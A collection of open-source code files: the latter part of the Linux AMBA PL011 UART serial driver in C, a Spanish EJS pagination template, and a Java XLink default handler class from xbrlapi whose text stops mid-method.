if (dev_get_platdata(uap->port.dev)) {
struct amba_pl011_data *plat;
plat = dev_get_platdata(uap->port.dev);
if (plat->init)
plat->init();
}
return 0;
}
static bool pl011_split_lcrh(const struct uart_amba_port *uap)
{
return pl011_reg_to_offset(uap, REG_LCRH_RX) !=
pl011_reg_to_offset(uap, REG_LCRH_TX);
}
static void pl011_write_lcr_h(struct uart_amba_port *uap, unsigned int lcr_h)
{
pl011_write(lcr_h, uap, REG_LCRH_RX);
if (pl011_split_lcrh(uap)) {
int i;
/*
* Wait 10 PCLKs before writing LCRH_TX register,
* to get this delay write read only register 10 times
*/
for (i = 0; i < 10; ++i)
pl011_write(0xff, uap, REG_MIS);
pl011_write(lcr_h, uap, REG_LCRH_TX);
}
}
static int pl011_allocate_irq(struct uart_amba_port *uap)
{
pl011_write(uap->im, uap, REG_IMSC);
return request_irq(uap->port.irq, pl011_int, 0, "uart-pl011", uap);
}
/*
* Enable interrupts, only timeouts when using DMA
* if initial RX DMA job failed, start in interrupt mode
* as well.
*/
static void pl011_enable_interrupts(struct uart_amba_port *uap)
{
spin_lock_irq(&uap->port.lock);
/* Clear out any spuriously appearing RX interrupts */
pl011_write(UART011_RTIS | UART011_RXIS, uap, REG_ICR);
uap->im = UART011_RTIM;
if (!pl011_dma_rx_running(uap))
uap->im |= UART011_RXIM;
pl011_write(uap->im, uap, REG_IMSC);
spin_unlock_irq(&uap->port.lock);
}
static int pl011_startup(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int cr;
int retval;
retval = pl011_hwinit(port);
if (retval)
goto clk_dis;
retval = pl011_allocate_irq(uap);
if (retval)
goto clk_dis;
pl011_write(uap->vendor->ifls, uap, REG_IFLS);
spin_lock_irq(&uap->port.lock);
/* restore RTS and DTR */
cr = uap->old_cr & (UART011_CR_RTS | UART011_CR_DTR);
cr |= UART01x_CR_UARTEN | UART011_CR_RXE | UART011_CR_TXE;
pl011_write(cr, uap, REG_CR);
spin_unlock_irq(&uap->port.lock);
/*
* initialise the old status of the modem signals
*/
uap->old_status = pl011_read(uap, REG_FR) & UART01x_FR_MODEM_ANY;
/* Startup DMA */
pl011_dma_startup(uap);
pl011_enable_interrupts(uap);
return 0;
clk_dis:
clk_disable_unprepare(uap->clk);
return retval;
}
static int sbsa_uart_startup(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
int retval;
retval = pl011_hwinit(port);
if (retval)
return retval;
retval = pl011_allocate_irq(uap);
if (retval)
return retval;
/* The SBSA UART does not support any modem status lines. */
uap->old_status = 0;
pl011_enable_interrupts(uap);
return 0;
}
static void pl011_shutdown_channel(struct uart_amba_port *uap,
unsigned int lcrh)
{
unsigned long val;
val = pl011_read(uap, lcrh);
val &= ~(UART01x_LCRH_BRK | UART01x_LCRH_FEN);
pl011_write(val, uap, lcrh);
}
/*
* disable the port. It should not disable RTS and DTR.
* Also RTS and DTR state should be preserved to restore
* it during startup().
*/
static void pl011_disable_uart(struct uart_amba_port *uap)
{
unsigned int cr;
uap->autorts = false;
spin_lock_irq(&uap->port.lock);
cr = pl011_read(uap, REG_CR);
uap->old_cr = cr;
cr &= UART011_CR_RTS | UART011_CR_DTR;
cr |= UART01x_CR_UARTEN | UART011_CR_TXE;
pl011_write(cr, uap, REG_CR);
spin_unlock_irq(&uap->port.lock);
/*
* disable break condition and fifos
*/
pl011_shutdown_channel(uap, REG_LCRH_RX);
if (pl011_split_lcrh(uap))
pl011_shutdown_channel(uap, REG_LCRH_TX);
}
static void pl011_disable_interrupts(struct uart_amba_port *uap)
{
spin_lock_irq(&uap->port.lock);
/* mask all interrupts and clear all pending ones */
uap->im = 0;
pl011_write(uap->im, uap, REG_IMSC);
pl011_write(0xffff, uap, REG_ICR);
spin_unlock_irq(&uap->port.lock);
}
static void pl011_shutdown(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
pl011_disable_interrupts(uap);
pl011_dma_shutdown(uap);
free_irq(uap->port.irq, uap);
pl011_disable_uart(uap);
/*
* Shut down the clock producer
*/
clk_disable_unprepare(uap->clk);
/* Optionally let pins go into sleep states */
pinctrl_pm_select_sleep_state(port->dev);
if (dev_get_platdata(uap->port.dev)) {
struct amba_pl011_data *plat;
plat = dev_get_platdata(uap->port.dev);
if (plat->exit)
plat->exit();
}
if (uap->port.ops->flush_buffer)
uap->port.ops->flush_buffer(port);
}
static void sbsa_uart_shutdown(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
pl011_disable_interrupts(uap);
free_irq(uap->port.irq, uap);
if (uap->port.ops->flush_buffer)
uap->port.ops->flush_buffer(port);
}
static void
pl011_setup_status_masks(struct uart_port *port, struct ktermios *termios)
{
port->read_status_mask = UART011_DR_OE | 255;
if (termios->c_iflag & INPCK)
port->read_status_mask |= UART011_DR_FE | UART011_DR_PE;
if (termios->c_iflag & (IGNBRK | BRKINT | PARMRK))
port->read_status_mask |= UART011_DR_BE;
/*
* Characters to ignore
*/
port->ignore_status_mask = 0;
if (termios->c_iflag & IGNPAR)
port->ignore_status_mask |= UART011_DR_FE | UART011_DR_PE;
if (termios->c_iflag & IGNBRK) {
port->ignore_status_mask |= UART011_DR_BE;
/*
* If we're ignoring parity and break indicators,
* ignore overruns too (for real raw support).
*/
if (termios->c_iflag & IGNPAR)
port->ignore_status_mask |= UART011_DR_OE;
}
/*
* Ignore all characters if CREAD is not set.
*/
if ((termios->c_cflag & CREAD) == 0)
port->ignore_status_mask |= UART_DUMMY_DR_RX;
}
static void
pl011_set_termios(struct uart_port *port, struct ktermios *termios,
struct ktermios *old)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned int lcr_h, old_cr;
unsigned long flags;
unsigned int baud, quot, clkdiv;
if (uap->vendor->oversampling)
clkdiv = 8;
else
clkdiv = 16;
/*
* Ask the core to calculate the divisor for us.
*/
baud = uart_get_baud_rate(port, termios, old, 0,
port->uartclk / clkdiv);
#ifdef CONFIG_DMA_ENGINE
/*
* Adjust RX DMA polling rate with baud rate if not specified.
*/
if (uap->dmarx.auto_poll_rate)
uap->dmarx.poll_rate = DIV_ROUND_UP(10000000, baud);
#endif
if (baud > port->uartclk/16)
quot = DIV_ROUND_CLOSEST(port->uartclk * 8, baud);
else
quot = DIV_ROUND_CLOSEST(port->uartclk * 4, baud);
switch (termios->c_cflag & CSIZE) {
case CS5:
lcr_h = UART01x_LCRH_WLEN_5;
break;
case CS6:
lcr_h = UART01x_LCRH_WLEN_6;
break;
case CS7:
lcr_h = UART01x_LCRH_WLEN_7;
break;
default: // CS8
lcr_h = UART01x_LCRH_WLEN_8;
break;
}
if (termios->c_cflag & CSTOPB)
lcr_h |= UART01x_LCRH_STP2;
if (termios->c_cflag & PARENB) {
lcr_h |= UART01x_LCRH_PEN;
if (!(termios->c_cflag & PARODD))
lcr_h |= UART01x_LCRH_EPS;
if (termios->c_cflag & CMSPAR)
lcr_h |= UART011_LCRH_SPS;
}
if (uap->fifosize > 1)
lcr_h |= UART01x_LCRH_FEN;
spin_lock_irqsave(&port->lock, flags);
/*
* Update the per-port timeout.
*/
uart_update_timeout(port, termios->c_cflag, baud);
pl011_setup_status_masks(port, termios);
if (UART_ENABLE_MS(port, termios->c_cflag))
pl011_enable_ms(port);
/* first, disable everything */
old_cr = pl011_read(uap, REG_CR);
pl011_write(0, uap, REG_CR);
if (termios->c_cflag & CRTSCTS) {
if (old_cr & UART011_CR_RTS)
old_cr |= UART011_CR_RTSEN;
old_cr |= UART011_CR_CTSEN;
uap->autorts = true;
} else {
old_cr &= ~(UART011_CR_CTSEN | UART011_CR_RTSEN);
uap->autorts = false;
}
if (uap->vendor->oversampling) {
if (baud > port->uartclk / 16)
old_cr |= ST_UART011_CR_OVSFACT;
else
old_cr &= ~ST_UART011_CR_OVSFACT;
}
/*
* Workaround for the ST Micro oversampling variants to
* increase the bitrate slightly, by lowering the divisor,
* to avoid delayed sampling of start bit at high speeds,
* else we see data corruption.
*/
if (uap->vendor->oversampling) {
if ((baud >= 3000000) && (baud < 3250000) && (quot > 1))
quot -= 1;
else if ((baud > 3250000) && (quot > 2))
quot -= 2;
}
/* Set baud rate */
pl011_write(quot & 0x3f, uap, REG_FBRD);
pl011_write(quot >> 6, uap, REG_IBRD);
/*
* ----------v----------v----------v----------v-----
* NOTE: REG_LCRH_TX and REG_LCRH_RX MUST BE WRITTEN AFTER
* REG_FBRD & REG_IBRD.
* ----------^----------^----------^----------^-----
*/
pl011_write_lcr_h(uap, lcr_h);
pl011_write(old_cr, uap, REG_CR);
spin_unlock_irqrestore(&port->lock, flags);
}
static void
sbsa_uart_set_termios(struct uart_port *port, struct ktermios *termios,
struct ktermios *old)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
unsigned long flags;
tty_termios_encode_baud_rate(termios, uap->fixed_baud, uap->fixed_baud);
/* The SBSA UART only supports 8n1 without hardware flow control. */
termios->c_cflag &= ~(CSIZE | CSTOPB | PARENB | PARODD);
termios->c_cflag &= ~(CMSPAR | CRTSCTS);
termios->c_cflag |= CS8 | CLOCAL;
spin_lock_irqsave(&port->lock, flags);
uart_update_timeout(port, CS8, uap->fixed_baud);
pl011_setup_status_masks(port, termios);
spin_unlock_irqrestore(&port->lock, flags);
}
static const char *pl011_type(struct uart_port *port)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
return uap->port.type == PORT_AMBA ? uap->type : NULL;
}
/*
* Release the memory region(s) being used by 'port'
*/
static void pl011_release_port(struct uart_port *port)
{
release_mem_region(port->mapbase, SZ_4K);
}
/*
* Request the memory region(s) being used by 'port'
*/
static int pl011_request_port(struct uart_port *port)
{
return request_mem_region(port->mapbase, SZ_4K, "uart-pl011")
!= NULL ? 0 : -EBUSY;
}
/*
* Configure/autoconfigure the port.
*/
static void pl011_config_port(struct uart_port *port, int flags)
{
if (flags & UART_CONFIG_TYPE) {
port->type = PORT_AMBA;
pl011_request_port(port);
}
}
/*
* verify the new serial_struct (for TIOCSSERIAL).
*/
static int pl011_verify_port(struct uart_port *port, struct serial_struct *ser)
{
int ret = 0;
if (ser->type != PORT_UNKNOWN && ser->type != PORT_AMBA)
ret = -EINVAL;
if (ser->irq < 0 || ser->irq >= nr_irqs)
ret = -EINVAL;
if (ser->baud_base < 9600)
ret = -EINVAL;
return ret;
}
static struct uart_ops amba_pl011_pops = {
.tx_empty = pl011_tx_empty,
.set_mctrl = pl011_set_mctrl,
.get_mctrl = pl011_get_mctrl,
.stop_tx = pl011_stop_tx,
.start_tx = pl011_start_tx,
.stop_rx = pl011_stop_rx,
.enable_ms = pl011_enable_ms,
.break_ctl = pl011_break_ctl,
.startup = pl011_startup,
.shutdown = pl011_shutdown,
.flush_buffer = pl011_dma_flush_buffer,
.set_termios = pl011_set_termios,
.type = pl011_type,
.release_port = pl011_release_port,
.request_port = pl011_request_port,
.config_port = pl011_config_port,
.verify_port = pl011_verify_port,
#ifdef CONFIG_CONSOLE_POLL
.poll_init = pl011_hwinit,
.poll_get_char = pl011_get_poll_char,
.poll_put_char = pl011_put_poll_char,
#endif
};
static void sbsa_uart_set_mctrl(struct uart_port *port, unsigned int mctrl)
{
}
static unsigned int sbsa_uart_get_mctrl(struct uart_port *port)
{
return 0;
}
static const struct uart_ops sbsa_uart_pops = {
.tx_empty = pl011_tx_empty,
.set_mctrl = sbsa_uart_set_mctrl,
.get_mctrl = sbsa_uart_get_mctrl,
.stop_tx = pl011_stop_tx,
.start_tx = pl011_start_tx,
.stop_rx = pl011_stop_rx,
.startup = sbsa_uart_startup,
.shutdown = sbsa_uart_shutdown,
.set_termios = sbsa_uart_set_termios,
.type = pl011_type,
.release_port = pl011_release_port,
.request_port = pl011_request_port,
.config_port = pl011_config_port,
.verify_port = pl011_verify_port,
#ifdef CONFIG_CONSOLE_POLL
.poll_init = pl011_hwinit,
.poll_get_char = pl011_get_poll_char,
.poll_put_char = pl011_put_poll_char,
#endif
};
static struct uart_amba_port *amba_ports[UART_NR];
#ifdef CONFIG_SERIAL_AMBA_PL011_CONSOLE
static void pl011_console_putchar(struct uart_port *port, int ch)
{
struct uart_amba_port *uap =
container_of(port, struct uart_amba_port, port);
while (pl011_read(uap, REG_FR) & UART01x_FR_TXFF)
cpu_relax();
pl011_write(ch, uap, REG_DR);
}
static void
pl011_console_write(struct console *co, const char *s, unsigned int count)
{
struct uart_amba_port *uap = amba_ports[co->index];
unsigned int old_cr = 0, new_cr;
unsigned long flags;
int locked = 1;
clk_enable(uap->clk);
/*
* local_irq_save(flags);
*
* This local_irq_save() is nonsense. If we come in via sysrq
* handling then interrupts are already disabled. Aside of
* that the port.sysrq check is racy on SMP regardless.
*/
if (uap->port.sysrq)
locked = 0;
else if (oops_in_progress)
locked = spin_trylock_irqsave(&uap->port.lock, flags);
else
spin_lock_irqsave(&uap->port.lock, flags);
/*
* First save the CR then disable the interrupts
*/
if (!uap->vendor->always_enabled) {
old_cr = pl011_read(uap, REG_CR);
new_cr = old_cr & ~UART011_CR_CTSEN;
new_cr |= UART01x_CR_UARTEN | UART011_CR_TXE;
pl011_write(new_cr, uap, REG_CR);
}
uart_console_write(&uap->port, s, count, pl011_console_putchar);
/*
* Finally, wait for transmitter to become empty
* and restore the TCR
*/
while (pl011_read(uap, REG_FR) & UART01x_FR_BUSY)
cpu_relax();
if (!uap->vendor->always_enabled)
pl011_write(old_cr, uap, REG_CR);
if (locked)
spin_unlock_irqrestore(&uap->port.lock, flags);
clk_disable(uap->clk);
}
static void __init
pl011_console_get_options(struct uart_amba_port *uap, int *baud,
int *parity, int *bits)
{
if (pl011_read(uap, REG_CR) & UART01x_CR_UARTEN) {
unsigned int lcr_h, ibrd, fbrd;
lcr_h = pl011_read(uap, REG_LCRH_TX);
*parity = 'n';
if (lcr_h & UART01x_LCRH_PEN) {
if (lcr_h & UART01x_LCRH_EPS)
*parity = 'e';
else
*parity = 'o';
}
if ((lcr_h & 0x60) == UART01x_LCRH_WLEN_7)
*bits = 7;
else
*bits = 8;
ibrd = pl011_read(uap, REG_IBRD);
fbrd = pl011_read(uap, REG_FBRD);
*baud = uap->port.uartclk * 4 / (64 * ibrd + fbrd);
if (uap->vendor->oversampling) {
if (pl011_read(uap, REG_CR)
& ST_UART011_CR_OVSFACT)
*baud *= 2;
}
}
}
static int __init pl011_console_setup(struct console *co, char *options)
{
struct uart_amba_port *uap;
int baud = 38400;
int bits = 8;
int parity = 'n';
int flow = 'n';
int ret;
/*
* Check whether an invalid uart number has been specified, and
* if so, search for the first available port that does have
* console support.
*/
if (co->index >= UART_NR)
co->index = 0;
uap = amba_ports[co->index];
if (!uap)
return -ENODEV;
/* Allow pins to be muxed in and configured */
pinctrl_pm_select_default_state(uap->port.dev);
ret = clk_prepare(uap->clk);
if (ret)
return ret;
if (dev_get_platdata(uap->port.dev)) {
struct amba_pl011_data *plat;
plat = dev_get_platdata(uap->port.dev);
if (plat->init)
plat->init();
}
uap->port.uartclk = clk_get_rate(uap->clk);
if (uap->vendor->fixed_options) {
baud = uap->fixed_baud;
} else {
if (options)
uart_parse_options(options,
&baud, &parity, &bits, &flow);
else
pl011_console_get_options(uap, &baud, &parity, &bits);
}
return uart_set_options(&uap->port, co, baud, parity, bits, flow);
}
static struct uart_driver amba_reg;
static struct console amba_console = {
.name = "ttyAMA",
.write = pl011_console_write,
.device = uart_console_device,
.setup = pl011_console_setup,
.flags = CON_PRINTBUFFER,
.index = -1,
.data = &amba_reg,
};
#define AMBA_CONSOLE (&amba_console)
static void pl011_putc(struct uart_port *port, int c)
{
while (readl(port->membase + UART01x_FR) & UART01x_FR_TXFF)
cpu_relax();
if (port->iotype == UPIO_MEM32)
writel(c, port->membase + UART01x_DR);
else
writeb(c, port->membase + UART01x_DR);
while (readl(port->membase + UART01x_FR) & UART01x_FR_BUSY)
cpu_relax();
}
static void pl011_early_write(struct console *con, const char *s, unsigned n)
{
struct earlycon_device *dev = con->data;
uart_console_write(&dev->port, s, n, pl011_putc);
}
static int __init pl011_early_console_setup(struct earlycon_device *device,
const char *opt)
{
if (!device->port.membase)
return -ENODEV;
device->con->write = pl011_early_write;
return 0;
}
OF_EARLYCON_DECLARE(pl011, "arm,pl011", pl011_early_console_setup);
#else
#define AMBA_CONSOLE NULL
#endif
static struct uart_driver amba_reg = {
.owner = THIS_MODULE,
.driver_name = "ttyAMA",
.dev_name = "ttyAMA",
.major = SERIAL_AMBA_MAJOR,
.minor = SERIAL_AMBA_MINOR,
.nr = UART_NR,
.cons = AMBA_CONSOLE,
};
static int pl011_probe_dt_alias(int index, struct device *dev)
{
struct device_node *np;
static bool seen_dev_with_alias = false;
static bool seen_dev_without_alias = false;
int ret = index;
if (!IS_ENABLED(CONFIG_OF))
return ret;
np = dev->of_node;
if (!np)
return ret;
ret = of_alias_get_id(np, "serial");
if (ret < 0) {
seen_dev_without_alias = true;
ret = index;
} else {
seen_dev_with_alias = true;
if (ret >= ARRAY_SIZE(amba_ports) || amba_ports[ret] != NULL) {
dev_warn(dev, "requested serial port %d not available.\n", ret);
ret = index;
}
}
if (seen_dev_with_alias && seen_dev_without_alias)
dev_warn(dev, "aliased and non-aliased serial devices found in device tree. Serial port enumeration may be unpredictable.\n");
return ret;
}
/* unregisters the driver also if no more ports are left */
static void pl011_unregister_port(struct uart_amba_port *uap)
{
int i;
bool busy = false;
for (i = 0; i < ARRAY_SIZE(amba_ports); i++) {
if (amba_ports[i] == uap)
amba_ports[i] = NULL;
else if (amba_ports[i])
busy = true;
}
pl011_dma_remove(uap);
if (!busy)
uart_unregister_driver(&amba_reg);
}
static int pl011_find_free_port(void)
{
int i;
for (i = 0; i < ARRAY_SIZE(amba_ports); i++)
if (amba_ports[i] == NULL)
return i;
return -EBUSY;
}
static int pl011_setup_port(struct device *dev, struct uart_amba_port *uap,
struct resource *mmiobase, int index)
{
void __iomem *base;
base = devm_ioremap_resource(dev, mmiobase);
if (IS_ERR(base))
return PTR_ERR(base);
/* Don't use DT serial<n> aliases - it causes the device to
be renumbered to ttyAMA1 if it is the second serial port in the
system, even though the other one is ttyS0. The 8250 driver
doesn't use this logic, so always remains ttyS0.
index = pl011_probe_dt_alias(index, dev);
*/
uap->old_cr = 0;
uap->port.dev = dev;
uap->port.mapbase = mmiobase->start;
uap->port.membase = base;
uap->port.fifosize = uap->fifosize;
uap->port.flags = UPF_BOOT_AUTOCONF;
uap->port.line = index;
amba_ports[index] = uap;
return 0;
}
static int pl011_register_port(struct uart_amba_port *uap)
{
int ret;
/* Ensure interrupts from this UART are masked and cleared */
pl011_write(0, uap, REG_IMSC);
pl011_write(0xffff, uap, REG_ICR);
if (!amba_reg.state) {
ret = uart_register_driver(&amba_reg);
if (ret < 0) {
dev_err(uap->port.dev,
"Failed to register AMBA-PL011 driver\n");
return ret;
}
}
ret = uart_add_one_port(&amba_reg, &uap->port);
if (ret)
pl011_unregister_port(uap);
return ret;
}
static int pl011_probe(struct amba_device *dev, const struct amba_id *id)
{
struct uart_amba_port *uap;
struct vendor_data *vendor = id->data;
int portnr, ret;
portnr = pl011_find_free_port();
if (portnr < 0)
return portnr;
uap = devm_kzalloc(&dev->dev, sizeof(struct uart_amba_port),
GFP_KERNEL);
if (!uap)
return -ENOMEM;
uap->clk = devm_clk_get(&dev->dev, NULL);
if (IS_ERR(uap->clk))
return PTR_ERR(uap->clk);
uap->reg_offset = vendor->reg_offset;
uap->vendor = vendor;
uap->fifosize = vendor->get_fifosize(dev);
uap->port.iotype = vendor->access_32b ? UPIO_MEM32 : UPIO_MEM;
uap->port.irq = dev->irq[0];
uap->port.ops = &amba_pl011_pops;
snprintf(uap->type, sizeof(uap->type), "PL011 rev%u", amba_rev(dev));
ret = pl011_setup_port(&dev->dev, uap, &dev->res, portnr);
if (ret)
return ret;
amba_set_drvdata(dev, uap);
return pl011_register_port(uap);
}
static int pl011_remove(struct amba_device *dev)
{
struct uart_amba_port *uap = amba_get_drvdata(dev);
uart_remove_one_port(&amba_reg, &uap->port);
pl011_unregister_port(uap);
return 0;
}
#ifdef CONFIG_PM_SLEEP
static int pl011_suspend(struct device *dev)
{
struct uart_amba_port *uap = dev_get_drvdata(dev);
if (!uap)
return -EINVAL;
return uart_suspend_port(&amba_reg, &uap->port);
}
static int pl011_resume(struct device *dev)
{
struct uart_amba_port *uap = dev_get_drvdata(dev);
if (!uap)
return -EINVAL;
return uart_resume_port(&amba_reg, &uap->port);
}
#endif
static SIMPLE_DEV_PM_OPS(pl011_dev_pm_ops, pl011_suspend, pl011_resume);
static int sbsa_uart_probe(struct platform_device *pdev)
{
struct uart_amba_port *uap;
struct resource *r;
int portnr, ret;
int baudrate;
/*
* Check the mandatory baud rate parameter in the DT node early
* so that we can easily exit with the error.
*/
if (pdev->dev.of_node) {
struct device_node *np = pdev->dev.of_node;
ret = of_property_read_u32(np, "current-speed", &baudrate);
if (ret)
return ret;
} else {
baudrate = 115200;
}
portnr = pl011_find_free_port();
if (portnr < 0)
return portnr;
uap = devm_kzalloc(&pdev->dev, sizeof(struct uart_amba_port),
GFP_KERNEL);
if (!uap)
return -ENOMEM;
ret = platform_get_irq(pdev, 0);
if (ret < 0) {
dev_err(&pdev->dev, "cannot obtain irq\n");
return ret;
}
uap->port.irq = ret;
uap->reg_offset = vendor_sbsa.reg_offset;
uap->vendor = &vendor_sbsa;
uap->fifosize = 32;
uap->port.iotype = vendor_sbsa.access_32b ? UPIO_MEM32 : UPIO_MEM;
uap->port.ops = &sbsa_uart_pops;
uap->fixed_baud = baudrate;
snprintf(uap->type, sizeof(uap->type), "SBSA");
r = platform_get_resource(pdev, IORESOURCE_MEM, 0);
ret = pl011_setup_port(&pdev->dev, uap, r, portnr);
if (ret)
return ret;
platform_set_drvdata(pdev, uap);
return pl011_register_port(uap);
}
static int sbsa_uart_remove(struct platform_device *pdev)
{
struct uart_amba_port *uap = platform_get_drvdata(pdev);
uart_remove_one_port(&amba_reg, &uap->port);
pl011_unregister_port(uap);
return 0;
}
static const struct of_device_id sbsa_uart_of_match[] = {
{ .compatible = "arm,sbsa-uart", },
{},
};
MODULE_DEVICE_TABLE(of, sbsa_uart_of_match);
static const struct acpi_device_id sbsa_uart_acpi_match[] = {
{ "ARMH0011", 0 },
{},
};
MODULE_DEVICE_TABLE(acpi, sbsa_uart_acpi_match);
static struct platform_driver arm_sbsa_uart_platform_driver = {
.probe = sbsa_uart_probe,
.remove = sbsa_uart_remove,
.driver = {
.name = "sbsa-uart",
.of_match_table = of_match_ptr(sbsa_uart_of_match),
.acpi_match_table = ACPI_PTR(sbsa_uart_acpi_match),
},
};
static struct amba_id pl011_ids[] = {
{
.id = 0x00041011,
.mask = 0x000fffff,
.data = &vendor_arm,
},
{
.id = 0x00380802,
.mask = 0x00ffffff,
.data = &vendor_st,
},
{ 0, 0 },
};
MODULE_DEVICE_TABLE(amba, pl011_ids);
static struct amba_driver pl011_driver = {
.drv = {
.name = "uart-pl011",
.pm = &pl011_dev_pm_ops,
},
.id_table = pl011_ids,
.probe = pl011_probe,
.remove = pl011_remove,
};
static int __init pl011_init(void)
{
printk(KERN_INFO "Serial: AMBA PL011 UART driver\n");
if (platform_driver_register(&arm_sbsa_uart_platform_driver))
pr_warn("could not register SBSA UART platform driver\n");
return amba_driver_register(&pl011_driver);
}
static void __exit pl011_exit(void)
{
platform_driver_unregister(&arm_sbsa_uart_platform_driver);
amba_driver_unregister(&pl011_driver);
}
/*
* While this can be a module, if builtin it's most likely the console
* So let's leave module_exit but move module_init to an earlier place
*/
arch_initcall(pl011_init);
module_exit(pl011_exit);
MODULE_AUTHOR("ARM Ltd/Deep Blue Solutions Ltd");
MODULE_DESCRIPTION("ARM AMBA serial port driver");
MODULE_LICENSE("GPL");
|
wozgeass/Raspberry-RT
|
drivers/tty/serial/amba-pl011.c
|
C
|
gpl-2.0
| 68,093
|
<% var total_paginas = Math.ceil(total/por_pagina) %>
<% var page = parseInt(pagina) %>
<% var ruta = '/' + modelo %>
<% if (total_paginas > 1) { %>
<% if (page !== 1) { %>
<a href="<%- ruta %>?page=1" class="btn btn-xs btn-info <%- modelo %>-first"><i class="icon-fast-backward"></i> Primera</a>
<a href="<%- ruta %>?page=<%- page - 1 %>" class="btn btn-xs btn-info <%- modelo %>-prev"><i class="icon-step-backward"></i> Anterior</a>
<% } else { %>
<a href="#" class="btn btn-xs btn-info disabled" disabled><i class="icon-fast-backward"></i> Primera</a>
<a href="#" class="btn btn-xs btn-info disabled" disabled><i class="icon-step-backward"></i> Anterior</a>
<% } %>
<span class="paginador-current-report">Página <%- pagina %> de <%- total_paginas %></span>
<% if (page !== total_paginas) { %>
<a href="<%- ruta %>?page=<%- page + 1 %>" class="btn btn-xs btn-info <%- modelo %>-next"><i class="icon-step-forward"></i> Siguiente</a>
<a href="<%- ruta %>?page=<%- total_paginas %>" class="btn btn-xs btn-info <%- modelo %>-last"><i class="icon-fast-forward"></i> Última</a>
<% } else { %>
<a href="#" class="btn btn-xs btn-info disabled" disabled><i class="icon-fast-forward"></i> Siguiente</a>
<a href="#" class="btn btn-xs btn-info disabled" disabled><i class="icon-step-forward"></i> Última</a>
<% } %>
<% } %>
|
alejomongua/esqueleto
|
interfaz/public/_views/common/_paginacion.html
|
HTML
|
gpl-2.0
| 1,355
|
package org.xbrlapi.xlink;
/**
* Default XLinkHandler implementation, does nothing for any of the events.
* Extend this class to create your own XLinkHandler.
* @author Geoffrey Shuetrim (geoff@galexy.net)
*/
import java.io.Serializable;
import org.xml.sax.Attributes;
public class XLinkHandlerDefaultImpl implements XLinkHandler, Serializable {
/**
*
*/
private static final long serialVersionUID = -6060131708671079013L;
/**
* Default XLink handler constructor
*/
public XLinkHandlerDefaultImpl() {
super();
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startSimpleLink(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String)
*/
public void startSimpleLink(String namespaceURI, String lName,
String qName, Attributes attrs, String href, String role,
String arcrole, String title, String show, String actuate)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endSimpleLink(java.lang.String, java.lang.String, java.lang.String)
*/
public void endSimpleLink(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startTitle(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes)
*/
public void startTitle(String namespaceURI, String lName, String qName,
Attributes attrs) throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endTitle(java.lang.String, java.lang.String, java.lang.String)
*/
public void endTitle(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#titleCharacters(char[], int, int)
*/
public void titleCharacters(char[] buf, int offset, int len)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startExtendedLink(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String, java.lang.String)
*/
public void startExtendedLink(String namespaceURI, String lName,
String qName, Attributes attrs, String role, String title)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endExtendedLink(java.lang.String, java.lang.String, java.lang.String)
*/
public void endExtendedLink(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startResource(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String, java.lang.String, java.lang.String)
*/
public void startResource(String namespaceURI, String lName, String qName,
Attributes attrs, String role, String title, String label)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endResource(java.lang.String, java.lang.String, java.lang.String)
*/
public void endResource(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startLocator(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String, java.lang.String, java.lang.String, java.lang.String)
*/
public void startLocator(String namespaceURI, String lName, String qName,
Attributes attrs, String href, String role, String title,
String label) throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endLocator(java.lang.String, java.lang.String, java.lang.String)
*/
public void endLocator(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#startArc(java.lang.String, java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String)
*/
public void startArc(String namespaceURI, String lName, String qName,
Attributes attrs, String from, String to, String arcrole,
String title, String show, String actuate) throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#endArc(java.lang.String, java.lang.String, java.lang.String)
*/
public void endArc(String namespaceURI, String sName, String qName)
throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#xmlBaseStart(java.lang.String)
*/
public void xmlBaseStart(String value) throws XLinkException {
;
}
/**
* @see org.xbrlapi.xlink.XLinkHandler#xmlBaseEnd()
*/
public void xmlBaseEnd() throws XLinkException {
;
}
/**
* Default error behaviour is to throw an XLink Exception
* @see org.xbrlapi.xlink.XLinkHandler#error(java.lang.String,java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String)
*/
public void error(String namespaceURI, String lName, String qName,
Attributes attrs,String message) throws XLinkException {
throw new XLinkException(message);
}
/**
* Default warning behaviour is to ignore the warning
* @see org.xbrlapi.xlink.XLinkHandler#warning(java.lang.String,java.lang.String, java.lang.String, org.xml.sax.Attributes, java.lang.String)
*/
public void warning(String namespaceURI, String lName, String qName,
